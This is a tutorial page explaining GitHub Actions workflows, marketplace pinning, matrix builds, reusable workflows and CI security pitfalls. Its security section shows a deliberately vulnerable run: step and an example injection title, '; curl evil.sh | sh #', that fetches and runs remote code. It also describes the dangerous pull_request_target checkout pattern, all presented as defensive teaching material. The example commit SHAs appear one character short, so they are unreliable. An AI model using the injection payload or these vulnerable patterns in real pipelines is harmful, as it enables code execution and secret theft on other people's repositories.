Tools Used in DevOps · GitHub Actions

GitHub Actions

GitHub Actions is GitHub's own CI/CD and automation platform: workflows live as YAML files right inside the repository, react to the same events GitHub already tracks — a push, a pull request, a release, a schedule — and report their results back onto the exact commit they ran against. For a team already living in GitHub, that's the pitch in one sentence: no separate CI service to provision, wire up with webhooks, or grant repo access to, because it already is the repo. This page covers the mechanics that actually matter day to day — the shape of a workflow file, the marketplace-action ecosystem and how to pin it without importing someone else's supply-chain risk, matrix builds, and the two ways to standardize a pipeline across dozens of repositories — and closes with the trade-off worth naming honestly: how much of that convenience is GitHub-specific, and what it costs you if you ever have to leave.

☺ Explain it like I'm 10

A workflow is a recipe card taped inside your repo's front door, and it says "whenever X happens, do these steps." A job is one whole pass through part of the recipe — say, "bake the cake" — and it gets its own fresh, empty kitchen (a brand-new virtual machine) every single time. A step is one instruction inside that job, like "crack two eggs" or "preheat to 350." Some steps you write yourself; others you just borrow — uses: actions/checkout is like borrowing a neighbor's "how to preheat an oven" card instead of writing your own, and the Marketplace is the whole neighborhood's shared recipe box.

🦫Your host for this topic: Benny the Beaver — the builder who turns a branching diagram into a pipeline that actually ships code, and the one who has learned most of these workflow-file lessons by breaking a build first.

What GitHub Actions is, and why it's the default if you're already on GitHub

☺ Like you're 10: If your code already lives on GitHub, the CI system does too — it already knows who can push, already sees the diff, already posts the checkmark on the commit, because it's the same product instead of a second one you have to wire together.

GitHub Actions shipped in 2018 and went generally available in November 2019. A workflow is a YAML file in .github/workflows/, and a repository can hold as many of them as it needs — one for pull-request checks, a separate one for a nightly job, another for releases. Each workflow declares which events wake it up (on:), and GitHub already emits nearly every event a pipeline cares about: push, pull_request, release, issues, a cron schedule, a manual workflow_dispatch button in the UI, or another workflow finishing via workflow_run. Because the trigger, the permission model, and the status check all live in the same product, there's no separate step to teach a third-party CI service who's allowed to merge what — branch protection rules, required reviewers, and required status checks already point straight at workflow runs.

Every job in a workflow runs on a runner — a fresh, disposable virtual machine (or container) that exists only for that one job and is destroyed afterward. GitHub provides hosted runners (ubuntu-latest, windows-latest, macos-latest, and pinned versions like ubuntu-24.04) billed per minute at OS-dependent multipliers — confirm the current rates and included free minutes on GitHub's pricing page, since they've shifted over the product's life. When you need something a hosted runner can't give you — GPUs, a specific compliance boundary, access to an internal network — you register a self-hosted runner instead, a long-lived machine or pod you manage yourself that polls GitHub for jobs to pick up.

This is squarely the Automation pillar of CALMS, and it's one of the entries in the DevOps toolchain and CI/CD pipelines pages — this page goes one level deeper, into the one tool most teams reach for first simply because they're already paying for the repo it lives in.

Workflow anatomy: events, jobs, and steps

☺ Like you're 10: An event wakes the workflow up, the workflow is made of jobs, each job gets its own clean machine, and each job runs its steps one after another, top to bottom.

A workflow file has three layers, and almost every debugging question is really "which layer does this setting belong to?" At the top: on: (what wakes it up), permissions: (what the auto-generated token can touch), and env: (variables every job can see). Inside that: one or more jobs:, each with its own runs-on: (which runner), an optional needs: (which other jobs must finish first — this is what turns a flat list of jobs into a real dependency graph), an optional environment: (ties the job to a named deployment environment with its own protection rules and secrets), and a strategy.matrix (covered below). Inside that: a linear list of steps:, each either uses: a packaged action or run:s a shell command directly.

Event push · PR · schedule Workflow file .github/workflows/ ci.yml on: + jobs: build runs-on: ubuntu-latest checkout · setup · build test needs: build strategy.matrix: os × node fans out to N parallel jobs deploy needs: test environment: production ubuntu-latest · node 18 ubuntu-latest · node 20 macos-latest · node 20 needs: build needs: test Jobs with no needs: between them (like three matrix legs) run in parallel by default.

Jobs are parallel unless needs: says otherwise, and needs: is what makes a workflow a real DAG rather than a flat script — a deploy job that lists needs: [test, lint] won't start until both finish, and by default a failure in either one skips it. A concrete workflow, tying that together:

name: CI
on:
  push:
    branches: [main]
  pull_request:
  workflow_dispatch:
    inputs:
      deploy_target:
        description: "Environment to deploy to"
        required: true
        default: staging

permissions:
  contents: read           # least-privilege default; widen per-job only where needed

concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true # a new push to the same PR cancels the stale run instead of queuing behind it

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: "20" }
      - run: npm ci
      - run: npm run build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }

  test:
    needs: build
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest]
        node: ["18", "20"]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: ${{ matrix.node }} }
      - run: npm ci
      - run: npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production   # protection rules + environment-scoped secrets live here
    permissions:
      contents: read
      id-token: write         # needed for OIDC-based cloud auth, e.g. AWS/Azure/GCP
    steps:
      - uses: actions/download-artifact@v4
        with: { name: dist, path: dist/ }
      - run: ./scripts/deploy.sh

Everything a step can read comes from a fixed set of contextsgithub.* (event payload, actor, ref, sha), env.*, vars.* (non-secret configuration variables), secrets.*, needs.* (outputs from upstream jobs), matrix.*, and steps.* (outputs from earlier steps in the same job) — accessed through ${{ }} expression syntax, with helper functions like contains(), startsWith(), toJSON(), fromJSON(), and hashFiles() for cache keys. That fixed vocabulary is doing more work than it looks like: it's the same expression language everywhere in the ecosystem, from an if: guard on a step to a matrix's include: list.

The marketplace: reusable actions, and the supply-chain question that comes with them

☺ Like you're 10: An action is a step someone else already wrote and shared — which saves you time, but means your pipeline now trusts whatever that person publishes next, unless you nail down exactly which version you're using.

An action is a packaged, reusable step, referenced with uses: owner/repo@ref and configured through with: inputs — actions/checkout@v4, actions/setup-node@v4, actions/cache@v4. GitHub Marketplace hosts a large and constantly shifting ecosystem — comfortably in the tens of thousands of listed actions at this point, so treat any specific count as stale by the time you read it — ranging from GitHub's own actions/* namespace to actions published by cloud vendors (aws-actions/configure-aws-credentials, docker/build-push-action) to one-person side projects. An action's manifest, action.yml, declares its inputs:, outputs:, and a runs: block that's one of three kinds: a JavaScript action (runs directly on the runner via Node), a Docker container action (GitHub builds and runs an image per invocation — slower to start, but any language), or a composite action (just more workflow steps, covered below).

The part worth taking seriously: @v4 is almost always a moving tag, not a fixed artifact. Whoever owns that repository — or anyone who compromises their account — can repoint v4 at different code at any time, and every workflow that references it picks up the new code on its very next run, silently. This isn't hypothetical; it's the exact class of attack behind several real supply-chain incidents in the Actions ecosystem. The fix costs one extra step: pin to the full commit SHA instead of the tag, and leave the human-readable version as a trailing comment so you still know what you're looking at:

# floating — convenient, but the owner can change what this points to
- uses: actions/checkout@v4

# pinned — this exact commit, forever, until you change it yourself
- uses: actions/checkout@8410ad0602e1e429cee44a835ae9f77f654a6b7 # v4.1.7

Dependabot can track those pinned SHAs and open a PR when a newer commit ships, so pinning doesn't mean freezing — it means every version bump goes through review instead of happening invisibly on someone else's push. It's the same underlying discipline as pinning a container base image by digest, and it's worth pairing with the deeper supply-chain material in Supply-Chain Security & SBOM.

⚠ Watch out

Marketplace has a "verified creator" badge, and it means less than it sounds like — it confirms GitHub verified the publisher's identity, not that the code is safe, well-maintained, or free of vulnerabilities. Treat every third-party action like any other unreviewed dependency: check its stars and issue activity, read what permissions it actually needs, and pin it by SHA before it touches a workflow with write access to anything that matters.

Matrix builds: one job definition, many runs

☺ Like you're 10: Instead of copy-pasting the same test job five times for five combinations, you write it once and hand it a list — GitHub does the copy-pasting for you, in parallel.

strategy.matrix takes a job definition and fans it out across every combination of the variables you list — the test job above, with os: [ubuntu-latest] and node: ["18", "20"], becomes two parallel jobs without a second line of job definition. Add a second os entry and it becomes four. Three knobs matter beyond the basic cross-product: include adds one-off combinations that don't fit the grid (say, one extra job that only runs on macos-latest with an extra flag); exclude removes specific combinations the cross-product would otherwise generate; and fail-fast, which defaults to true, cancels every other matrix leg the moment one fails — flip it to false when you want the full picture of which combinations broke, not just the first one.

strategy:
  fail-fast: false          # see every failing combination, not just the first
  max-parallel: 4           # cap concurrent legs — useful on a busy shared runner pool
  matrix:
    os: [ubuntu-latest, windows-latest, macos-latest]
    node: ["18", "20", "22"]
    include:
      - os: ubuntu-latest
        node: "20"
        experimental: true   # one extra leg outside the grid
    exclude:
      - os: windows-latest
        node: "18"            # this combo isn't supported, so don't run it

The cross-product grows fast — three operating systems by three Node versions is nine jobs from four lines of YAML — which is the whole point, and also the first thing to watch in the gotchas section below.

Reusable workflows and composite actions: standardizing CI across a whole org

☺ Like you're 10: A composite action is a few borrowed steps stitched into your job; a reusable workflow is a whole borrowed job (or several), running on its own machine — and a platform team can hand either one out so every repo's pipeline follows the same rules.

These solve the same organizational problem — "forty repos should not each hand-roll their own build-test-deploy logic" — at two different levels of the workflow, and confusing the two is the most common mistake teams make picking between them.

A composite action is an action.yml whose runs.using: "composite" block is just a list of steps. It's consumed with an ordinary uses: from inside an existing job, and it executes as part of that job on the caller's own runner — no new VM, no separate permissions boundary. It's the right tool for bundling a handful of steps that always travel together: checkout, a specific setup, an install command.

# .github/actions/setup-node-app/action.yml — a composite action
name: "Set up Node app"
description: "Checkout, install Node, restore cache, npm ci"
inputs:
  node-version: { required: false, default: "20" }
runs:
  using: "composite"
  steps:
    - uses: actions/checkout@8410ad0602e1e429cee44a835ae9f77f654a6b7 # v4.1.7
    - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f # v4.0.2
      with: { node-version: ${{ inputs.node-version }} }
    - run: npm ci
      shell: bash   # every run: step in a composite action must declare a shell

A reusable workflow is a full workflow file that declares on: workflow_call instead of (or alongside) the usual triggers, with its own typed inputs:, secrets:, and outputs:. Another workflow calls it not with uses: inside a step, but as the entire body of a job: jobs.<id>.uses: org/repo/.github/workflows/standard-build.yml@v2. It runs as its own job (or several, if the reusable workflow itself defines more than one), on its own runner, with its own permissions boundary — which is exactly what makes it the right tool for handing out an entire standardized pipeline rather than a handful of steps.

# central repo: acme/ci-templates/.github/workflows/standard-build.yml
on:
  workflow_call:
    inputs:
      node-version: { type: string, default: "20" }
    secrets:
      NPM_TOKEN: { required: false }
    outputs:
      artifact-name:
        value: ${{ jobs.build.outputs.artifact-name }}
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      artifact-name: ${{ steps.set.outputs.name }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: ${{ inputs.node-version }} }
      - run: npm ci
      - run: npm run build
      - id: set
        run: echo "name=dist" >> "$GITHUB_OUTPUT"

# every app repo: .github/workflows/ci.yml
jobs:
  build:
    uses: acme/ci-templates/.github/workflows/standard-build.yml@v2
    with: { node-version: "20" }
    secrets: inherit   # pass the caller's repo/org secrets straight through

The organizational payoff is the same one platform teams chase with a golden-path Helm chart or Terraform module: a security team adds SBOM generation once, to standard-build.yml@v2, and every app repo pinned to @v2 picks it up without a single line changing in their own workflow file. This is exactly the mechanism behind Scaling CI/CD Across Teams and the golden-path idea in the inner loop & developer experience — version the template like the contract it is, with a changelog and a deprecation window, not a folder anyone can quietly diverge from. Reusable workflows can call other reusable workflows a few levels deep, but that nesting cap has moved over the product's life — check GitHub's current docs before you design an org's templates around a specific depth.

Day-to-day: the gh CLI and local iteration

☺ Like you're 10: You almost never need to click around the Actions tab — one CLI tool lists runs, streams their logs, reruns just the failed part, and can even test the recipe on your own laptop first.

# inspect and trigger
$ gh workflow list
$ gh workflow view ci.yml --yaml            # read the file GitHub is actually running
$ gh workflow run ci.yml -f deploy_target=staging   # trigger a workflow_dispatch run

# watch and debug a run
$ gh run list --workflow=ci.yml --limit 10
$ gh run watch                              # live-tail the most recent run
$ gh run view <run-id> --log                # full logs, one job at a time
$ gh run view <run-id> --log-failed         # just the step that failed — the one you actually want
$ gh run rerun <run-id> --failed            # rerun only the failed jobs, not the whole matrix
$ gh run cancel <run-id>

# secrets and variables, without opening the UI
$ gh secret set NPM_TOKEN --body "$TOKEN" --repo acme/checkout
$ gh variable set NODE_ENV --body production --repo acme/checkout

# iterate locally before you push — nektos/act runs workflows in Docker on your laptop
$ act pull_request -j test                  # simulate the pull_request event, run just the test job
$ act -l                                    # list the jobs act can see in this repo

act is a third-party tool, not a GitHub product, and it isn't a perfect simulation — GitHub-hosted-runner-specific behavior and some contexts don't map cleanly onto a local Docker container — but it turns "push, wait two minutes, read the log, fix a typo, push again" into a feedback loop measured in seconds, which matters more than it sounds like for the inner loop.

Gotchas and failure modes

☺ Like you're 10: Most of the real trouble comes from three places: a token with more power than the job needs, untrusted text getting pasted straight into a command, and a matrix that quietly multiplies your bill.

GITHUB_TOKEN defaults, and least privilege

Every run gets an auto-generated GITHUB_TOKEN, scoped to that repository for the run's duration. Its default permission level is a repo or organization setting — GitHub moved new repositories toward a read-only default some time back, but plenty of older repos still default to broad read/write, so don't assume; check it. Either way, the fix is the same: set an explicit permissions: block at the top of the workflow (as in the CI example above) and widen it only per-job, only for the specific scope that job needs — id-token: write for OIDC cloud auth, pull-requests: write for a job that comments on PRs, and nothing wider than that.

pull_request vs. pull_request_target

A pull_request-triggered workflow from a fork runs with a deliberately weakened, read-only GITHUB_TOKEN and no access to repository secrets — GitHub's safety net against a stranger's fork running arbitrary code with your credentials. pull_request_target exists for cases that genuinely need write access or secrets (posting a label, a size comment), but it runs with the base repository's full token and secrets while evaluating the workflow file from the base branch — and if that workflow then checks out and executes the fork's own code with actions/checkout@v4 and ref: ${{ github.event.pull_request.head.sha }}, you've handed an anonymous contributor's code your write token. This exact pattern is behind a long list of real GitHub Actions security disclosures. Never combine pull_request_target with checking out and running untrusted fork code.

Expression injection

A less obvious variant of the same problem: interpolating untrusted event data directly into a run: shell command. run: echo "${{ github.event.issue.title }}" substitutes the raw issue title into a shell string before the shell ever runs it — and an issue titled "; curl evil.sh | sh # becomes a command injection, not a string. The fix is to pass untrusted values through env: and reference the environment variable instead, so the shell only ever sees a value, never a fragment of its own syntax:

# vulnerable — the title is spliced into the script text itself
- run: echo "${{ github.event.issue.title }}"

# safe — the title arrives as an environment variable's VALUE, never as script text
- run: echo "$TITLE"
  env:
    TITLE: ${{ github.event.issue.title }}

Matrix cost, cache misses, and self-hosted runners on public repos

A matrix's cross-product grows silently — three variables at four values each is 64 parallel jobs from a few lines of YAML, and that's 64 runner-minutes billed and 64 slots competing for whatever concurrency limit your plan or org has. actions/cache fails just as quietly: a cache-key miss isn't an error, it's a fallback to a cold cache, and a workflow that seems to have "gotten slower for no reason" is almost always a changed lockfile hash silently missing the key it used to hit. And self-hosted runners registered on a public repository are a real and explicitly documented risk: anyone can open a pull request, and if a workflow can be made to run against that PR's code on your self-hosted box, that's arbitrary code execution on infrastructure you own. GitHub's own guidance is not to attach self-hosted runners to public repos at all, or to gate them tightly behind required approval for first-time contributors.

Secret masking is a string match, not encryption

GitHub scans log output for the literal secret value and replaces exact matches with *** — which means a secret that gets base64-encoded, JSON-escaped, split across multiple echo lines, or transformed in any way before it's printed sails straight past the masker in plain text. Treat masking as a safety net for the common case, not a guarantee, and audit what a debug step actually prints before trusting it with anything sensitive.

◆ Key idea

Nearly every Actions security incident traces back to the same root cause wearing a different costume: something untrusted — a fork's code, an issue title, a floating action tag — ended up running with more trust than it earned. permissions:, SHA-pinning, and avoiding pull_request_target with untrusted checkout are the same discipline applied at three different layers of the same workflow file.

🦫 Benny's workshop · 15 min

Pick any repo you can push to. Add a workflow with one job on pull_request that runs echo "${{ github.event.pull_request.title }}" directly, then open a PR titled something harmless-looking like test $(echo hi) and watch what the log actually does with it — you don't need to make it dangerous to see the injection happen. Then fix it the safe way, with env:, and confirm the behavior disappears. Finally run gh run list --workflow=ci.yml and gh run view --log-failed against a run you broke on purpose, so both muscles — spotting the bug and reading the log without opening a browser — are ones you've actually used once.

GitHub Actions vs. the alternatives — and the honest cost of lock-in

☺ Like you're 10: If your code's already on GitHub, Actions is the easy default — but its recipe language only works inside GitHub's kitchen, so switching kitchens later means rewriting more than you'd like.

The comparison

OptionModelBest whenCosts you
GitHub ActionsYAML workflows triggered by GitHub repo events, run on GitHub- or self-hosted runnersCode already lives on GitHub; you want CI, PR checks, and releases sharing one permission model with zero extra wiringGitHub-specific syntax and marketplace; migrating off GitHub means rewriting the pipeline, not just relocating it
JenkinsSelf-hosted automation server, pipelines as Groovy JenkinsfilesYou need a plugin or integration Actions doesn't have, or must run fully on-prem with no SaaS dependencyYou own the server: patching, plugin compatibility, and uptime become your team's job, not a vendor's
GitLab CI/CDYAML pipelines native to GitLab, same event-and-permissions integration as Actions but for GitLab reposCode lives on GitLab — the identical "it's already the same product" argument, one platform overSame shape of lock-in as Actions, just to a different vendor's syntax and ecosystem
CircleCIStandalone SaaS CI, config.yml, connects to GitHub/GitLab/Bitbucket as a source, not a merged productYou want a CI vendor decoupled from your source-control vendor, with strong caching and orb (its own reusable-config) ecosystemA second product to provision, pay for, and grant repo access to — the exact overhead Actions exists to remove for GitHub-native teams

The lock-in, honestly

None of a GitHub Actions workflow file transfers to another CI system as-is. The contexts (github.*, needs.*, matrix.*), the expression functions, the uses: owner/repo@ref marketplace convention, and the workflow_call mechanics for reusable workflows are all GitHub-specific — a .gitlab-ci.yml, a Jenkins Jenkinsfile, and a CircleCI config.yml each have their own version of matrix builds and reusable config, and none of them read Actions YAML. Moving providers later means a rewrite, not a find-and-replace, and that cost compounds the more the org has leaned on Actions-specific conveniences — deeply nested reusable workflows, marketplace actions with no equivalent on the next platform.

The standard mitigation, and it's a real one: keep the actual pipeline logic — build, test, and lint commands — in a Makefile, shell scripts, or a task runner like Just, not scattered across dozens of inline run: steps. Let the workflow YAML be a thin dispatcher that calls make test or make build, the same target a developer runs locally. Migrate providers later, and only the thin wrapper needs rewriting — the logic that actually matters moves with the repo, untouched. What that doesn't buy back is the GitHub-native conveniences themselves: actions/cache's exact semantics, the Marketplace's breadth, and the reusable-workflow governance pattern above are genuinely GitHub-shaped, and reimplementing their equivalent elsewhere is real work, not a wrapper-script rewrite. That's the honest trade: Actions is the correct default the moment you're already on GitHub, and it's worth knowing precisely which parts of that convenience you're borrowing against.

🎬 At the Ship-It Guild
🦫

Benny the Beaver: Forty lines of YAML and we've got build, a three-way test matrix, and a deploy gated on both. I love this thing.

🦊

Foxy: Love it enough that if we ever left GitHub, how much of that forty lines would still work?

🦫

Benny the Beaver: ...none of it, honestly. But the actual build and test commands live in the Makefile, so it's a thin wrapper rewrite, not starting from scratch.

👺

Gizmo: Or just pin everything to @master and skip the version numbers entirely. Fewer lines to maintain. 🤑

🐢

Timmy the Turtle: That's a floating tag with a different name, Gizmo — whoever owns that action can change what @master points to and your next run just trusts it. Pin the SHA.

🦫

Benny the Beaver: And the deploy job only gets id-token: write, nothing else — the test job doesn't need to touch prod credentials just because it lives in the same file.

✓ Checkpoint

1. Name the three layers of a workflow file and what runs-on: and needs: each control. 2. Why is pinning a marketplace action to @v4 riskier than pinning it to a commit SHA, and what does SHA-pinning actually buy you? 3. What does a matrix build's fail-fast: false change about how a broken build reports back to you? 4. In one sentence each, how does a reusable workflow differ from a composite action — in how it's invoked and where it runs? 5. Why is checking out and running a fork's code inside a pull_request_target workflow dangerous? 6. What's the standard mitigation for GitHub Actions' vendor lock-in, and what does it not solve?

Check your answers
  1. The workflow level (on:, top-level permissions:, env:) decides what wakes it up and what it's allowed to touch; the job level (runs-on: picks the runner, needs: declares which other jobs must finish first, turning a flat job list into a dependency graph) decides where and in what order; the step level runs the actual commands or borrowed actions inside a job, top to bottom.
  2. @v4 is a moving tag the action's owner (or an attacker who compromises their account) can repoint at any time, so every workflow using it silently picks up whatever code is there on its next run. Pinning to the full commit SHA fixes the exact code that runs; it stays fixed until you deliberately change it, and tools like Dependabot can still propose updates as reviewable PRs.
  3. By default (fail-fast: true) one failing matrix leg cancels every other leg immediately, so you only ever see the first failure. Setting it to false lets every combination finish, so you see the complete picture of which combinations actually broke.
  4. A composite action is invoked with uses: from inside an existing job and runs as ordinary steps on the caller's own runner — no new machine. A reusable workflow is invoked with jobs.<id>.uses: pointing at a workflow file with on: workflow_call, and it runs as its own separate job (or jobs) with its own runner and its own permissions boundary.
  5. pull_request_target runs with the base repository's full GITHUB_TOKEN and secrets, unlike the deliberately restricted token a plain pull_request run from a fork gets. If that workflow then checks out and executes the fork's own code, an anonymous contributor's code runs with your repo's write credentials — a well-documented privilege-escalation pattern.
  6. Keep pipeline logic (build/test/lint commands) in a Makefile or scripts that run identically on a laptop and in CI, and let the workflow YAML be a thin dispatcher — so a provider migration only needs a new thin wrapper. It does not solve for GitHub-native conveniences with no direct equivalent elsewhere, like the Marketplace's breadth or the exact semantics of actions/cache and reusable-workflow governance.